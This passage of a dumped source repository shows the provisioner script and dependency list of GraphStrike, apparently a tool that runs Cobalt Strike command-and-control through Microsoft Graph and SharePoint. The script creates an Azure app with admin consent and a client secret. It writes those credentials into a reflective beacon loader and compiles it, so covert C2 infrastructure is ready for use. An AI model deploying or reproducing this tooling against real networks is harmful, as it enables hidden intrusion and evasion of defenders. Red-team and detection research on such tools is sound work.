httpPostPrefix == None: 106 | p_err("Could not locate http-post block 'set uri' value!", True) 107 | return 108 | 109 | # Check and ensure that the cs-decrypt-metadata.py script as well as GraphStrike.py have execute permissions 110 | if not os.access(METADATA_SCRIPT, os.X_OK): 111 | st = os.stat(METADATA_SCRIPT) 112 | os.chmod(METADATA_SCRIPT, st.st_mode | stat.S_IEXEC) 113 | 114 | if not os.access(GRAPHSTRIKE_SCRIPT, os.X_OK): 115 | st = os.stat(GRAPHSTRIKE_SCRIPT) 116 | os.chmod(GRAPHSTRIKE_SCRIPT, st.st_mode | stat.S_IEXEC) 117 | 118 | # Prompt user to enter cobaltstrike directory 119 | while True: 120 | csDir = input("\nEnter the absolute path of the cobaltstrike directory (e.g. /opt/cobaltstrike/): ") 121 | if not csDir.endswith('/'): 122 | csDir += '/' 123 | 124 | p_task("Checking Cobalt Strike directory...") 125 | if os.path.isfile(f"{csDir}teamserver"): 126 | p_success("SUCCESS!") 127 | break 128 | else: 129 | p_err("ERROR!", False) 130 | p_err(f"Cannot locate '{csDir}teamserver', check your path and try again", True) 131 | 132 | # Prompt user for tenant name and attempt to login to that tenant 133 | while True: 134 | tenant = input("\nEnter the full name of your tenant (e.g. mytenant.onmicrosoft.com | enter 'exit' to quit): ") 135 | if tenant == 'exit': 136 | return 137 | p_task(f"Signing into {tenant}...") 138 | try: 139 | response = AzCli(f"login --allow-no-subscriptions --tenant {tenant}") 140 | tenantId = response[0]['tenantId'] 141 | p_success("SUCCESS!") 142 | break 143 | except: 144 | "" 145 | 146 | # p_task doesn't like newlines, so add one here to make it pretty... 147 | print("") 148 | 149 | # Create an app in the tenant 150 | p_task("Creating new app in Azure...") 151 | try: 152 | appId = AzCli(f"ad app create --display-name GraphStrike{str(random.randint(0,1000))} --required-resource-accesses @../inc/manifest.json --query appId").replace('"', '') 153 | p_success("SUCCESS!") 154 | except: 155 | p_err("Failed to create app in Azure.", True) 156 | 157 | # These next steps will fail unless we give Azure a little time to process the app creation... 158 | p_info_plain("\nSleeping for 30 seconds to allow app to be created in Azure...\n") 159 | while True: 160 | time.sleep(30) 161 | try: 162 | # Grant admin consent for assigned permissions 163 | p_task("Granting admin consent to requested API permissions...") 164 | AzCli(f"ad app permission admin-consent --id {appId}") 165 | p_success("SUCCESS!") 166 | except: 167 | p_err("ERROR!", False) 168 | p_err("Failed to grant admin consent to app in Azure.", False) 169 | DeleteApp(appId) 170 | 171 | try: 172 | # Create client secret 173 | p_task("Creating client secret that can be used to fetch access tokens...") 174 | clientSecret = AzCli(f"ad app credential reset --id {appId} --append --display-name creds --years 1 --query password").replace('"', '') 175 | p_success("SUCCESS!") 176 | break 177 | except: 178 | p_err("Hit exception trying to add client secret!", False) 179 | DeleteApp(appId) 180 | 181 | # Again we need to wait for the previous steps to be reflected before proceeding 182 | p_info_plain("\nSleeping for 30 seconds to allow added permissions to take effect...\n") 183 | while True: 184 | time.sleep(30) 185 | 186 | # Get an access token 187 | p_task("Fetching access token using new client secret...") 188 | access_token, refreshTime = GetAccessToken(appId, clientSecret, tenantId) 189 | 190 | if access_token == None: 191 | p_err("ERROR!", False) 192 | p_err(f"Exception fetching access token: {str(r.content)}", False) 193 | p_info_plain("\nSleeping 30 seconds and then trying again...\n") 194 | else: 195 | p_success("SUCCESS!") 196 | 197 | # Now resolve the siteId 198 | URL = "https://graph.microsoft.com/v1.0/sites/root" 199 | headers = { 200 | 'Authorization':'Bearer ' + access_token 201 | } 202 | 203 | p_task("Retrieving Site ID...") 204 | r = requests.get(url = URL, headers = headers) 205 | 206 | #Parse output 207 | if "200" in str(r): 208 | data = r.json() 209 | siteId = data['id'] 210 | p_success("SUCCESS!") 211 | elif "403" in str(r): 212 | p_err("ERROR!", False) 213 | p_err("Need to give Azure more time, sleeping for another 30...", False) 214 | else: 215 | p_err("ERROR!", False) 216 | p_err(f"Hit except fetching siteId! Data is: {str(r.content)}", False) 217 | p_info_plain("\nSleeping 30 seconds and then trying again...\n") 218 | 219 | if siteId != None: 220 | break 221 | else: 222 | p_info_plain("\nSleeping 30 seconds and then trying again...\n") 223 | 224 | # Only continue if we were successful in fetching an access token that has the active api permissions 225 | if siteId != None: 226 | 227 | # Now retrieve the driveId that we will be uploading files to 228 | URL = f"https://graph.microsoft.com/v1.0/sites/{siteId}/drives" 229 | headers = { 230 | 'Authorization':'Bearer ' + access_token 231 | } 232 | while True: 233 | p_task("Retrieving Drive ID...") 234 | r = requests.get(url = URL, headers = headers) 235 | 236 | # Parse output 237 | if "200" in str(r): 238 | data = r.json() 239 | driveId = data['value'][0]['id'] 240 | p_success("SUCCESS!") 241 | break 242 | else: 243 | p_err("ERROR!", False) 244 | p_err(f"Exception retrieving driveId: {str(r.content)}", False) 245 | time.sleep(1) 246 | 247 | # If we successfully fetched all of our values, we need to write out our config files and then compile the UDRL. 248 | if driveId != None: 249 | p_task("Writing UDRL config file...") 250 | cppHeader = f"""#include "include.h" 251 | 252 | #define SHAREPOINT_ADDRESS C_PTR ( OFFSET ( "/v1.0/sites/{siteId}/drive" ) ) 253 | #define APP_CLIENT_ID C_PTR ( OFFSET ( "{appId}" ) ) 254 | #define APP_CLIENT_SECRET C_PTR ( OFFSET ( "{clientSecret}" ) ) 255 | #define TENANT_ID C_PTR ( OFFSET ( "{tenantId}" ) ) 256 | #define BID_DELIMITER C_PTR ( OFFSET ( "{bidDelimiter}") ) 257 | #define HTTP_GET_PREFIX C_PTR ( OFFSET ( "{httpGetPrefix}" ) ) 258 | #define HTTP_POST_PREFIX C_PTR ( OFFSET ( "{httpPostPrefix}" ) )""" 259 | 260 | # Write out UDRL config.h file 261 | with open('../GraphLdr/src/config.h', 'w+') as f: 262 | f.write(cppHeader) 263 | f.close() 264 | p_success("SUCCESS!") 265 | 266 | p_task("Writing GraphStrike server config file...") 267 | pythonHeader = f"""#!/usr/bin/python3 268 | 269 | TENANT_ID = "{tenantId}" 270 | CLIENT_ID = "{appId}" 271 | CLIENT_SECRET = "{clientSecret}" 272 | SITE_ID = "{siteId}" 273 | DRIVE_ID = "{driveId}" 274 | BID_DELIMITER = "{bidDelimiter}" 275 | HTTP_GET_PREFIX = "{httpGetPrefix}" 276 | HTTP_POST_PREFIX = "{httpPostPrefix}" 277 | CS_DIR = "{csDir}" 278 | SLEEP_TIME = "{sleepTime}" """ 279 | 280 | # Write out python server config.py file 281 | with open('../inc/config.py', 'w+') as f: 282 | f.write(pythonHeader) 283 | f.close() 284 | p_success("SUCCESS!") 285 | 286 | # Call make to compile UDRL 287 | p_task("Calling make to compile GraphLdr...") 288 | result = subprocess.run(['make', '-C', '../GraphLdr/'], capture_output = True, text = True) 289 | 290 | # Stderr returned anything, something went wrong. Abort. 291 | if len(result.stderr) > 0: 292 | p_err("ERROR!", False) 293 | p_err(result.stderr, False) 294 | DeleteApp(appId) 295 | else: 296 | p_success("SUCCESS!") 297 | 298 | p_success("Successfully configured and compiled GraphStrike!") 299 | p_info("Complete the rest of GraphStrike setup as instructed by the README.") 300 | 301 | help = """ 302 | 303 | Usage: ./provisioner 304 | 305 | Modes: 306 | new Create a new Azure application and configure GraphStrike for use 307 | delete Delete an existing Azure application and remove any files created by GraphStrike in SharePoint 308 | 309 | Hints: 310 | - You will need to sign in as a Global Admin of the tenant you are going to use for GraphStrike in order 311 | for provisioning to succeed! This is required in order to grant Admin Consent for the 312 | Sites.ReadWrite.All API permission we assign the created app. 313 | 314 | - The provisioner attempts to load and read the 'GraphStrike.profile' that comes included as part of 315 | setup; you need to use this same profile with your Cobalt Strike team server! 316 | """ 317 | 318 | if __name__ == '__main__': 319 | 320 | print(BANNER) 321 | print("GraphStrike Provisioner\n") 322 | 323 | # Check python3 version 324 | CheckVersion() 325 | 326 | if len(sys.argv) > 1: 327 | command = sys.argv[1].lower() 328 | 329 | if command == "new": 330 | provision() 331 | 332 | elif command == "delete": 333 | p_info("Cleaning up!") 334 | 335 | # Get access token 336 | access_token, refreshTime = GetAccessToken() 337 | 338 | # Open config.py and read clientId var 339 | with open('../inc/config.py', 'r') as f: 340 | for line in f: 341 | if "CLIENT_ID" in line: 342 | appId = re.search('"(.*)"', line).group(1) 343 | f.close() 344 | 345 | # Delete any files remaining in SharePoint 346 | p_task("Deleting remaining SharePoint files...") 347 | driveItems = ListFiles(access_token) 348 | for entry in driveItems: 349 | DeleteFile(access_token, driveItems[entry]['id']) 350 | p_success("SUCCESS!") 351 | 352 | # Delete the config file and compiled UDRL locally 353 | p_task("Deleting GraphStrike generated artifacts...") 354 | try: 355 | os.remove('../inc/config.py') 356 | os.remove('../client/GraphLdr.x64.bin') 357 | p_success("SUCCESS!") 358 | except: 359 | p_err("ERROR!", False) 360 | p_err("Failed to delete inc/config.py and/or client/GraphLdr.x64.bin!", True) 361 | 362 | # Delete the app via az cli 363 | if appId != None: 364 | DeleteApp(appId) 365 | else: 366 | print(help) 367 | else: 368 | print(help) -------------------------------------------------------------------------------- /setup/requirements.txt: -------------------------------------------------------------------------------- 1 | msal==1.24.0b2 2 | azure-cli==2.55.0 3 | azure_storage==0.36.0 4 | colorama==0.4.6 5 | javaobj-py3==0.4.0 6 | pefile==2023.2.7 7 | pycryptodome==3.19.1 8 | Requests==2.31.0 --------------------------------------------------------------------------------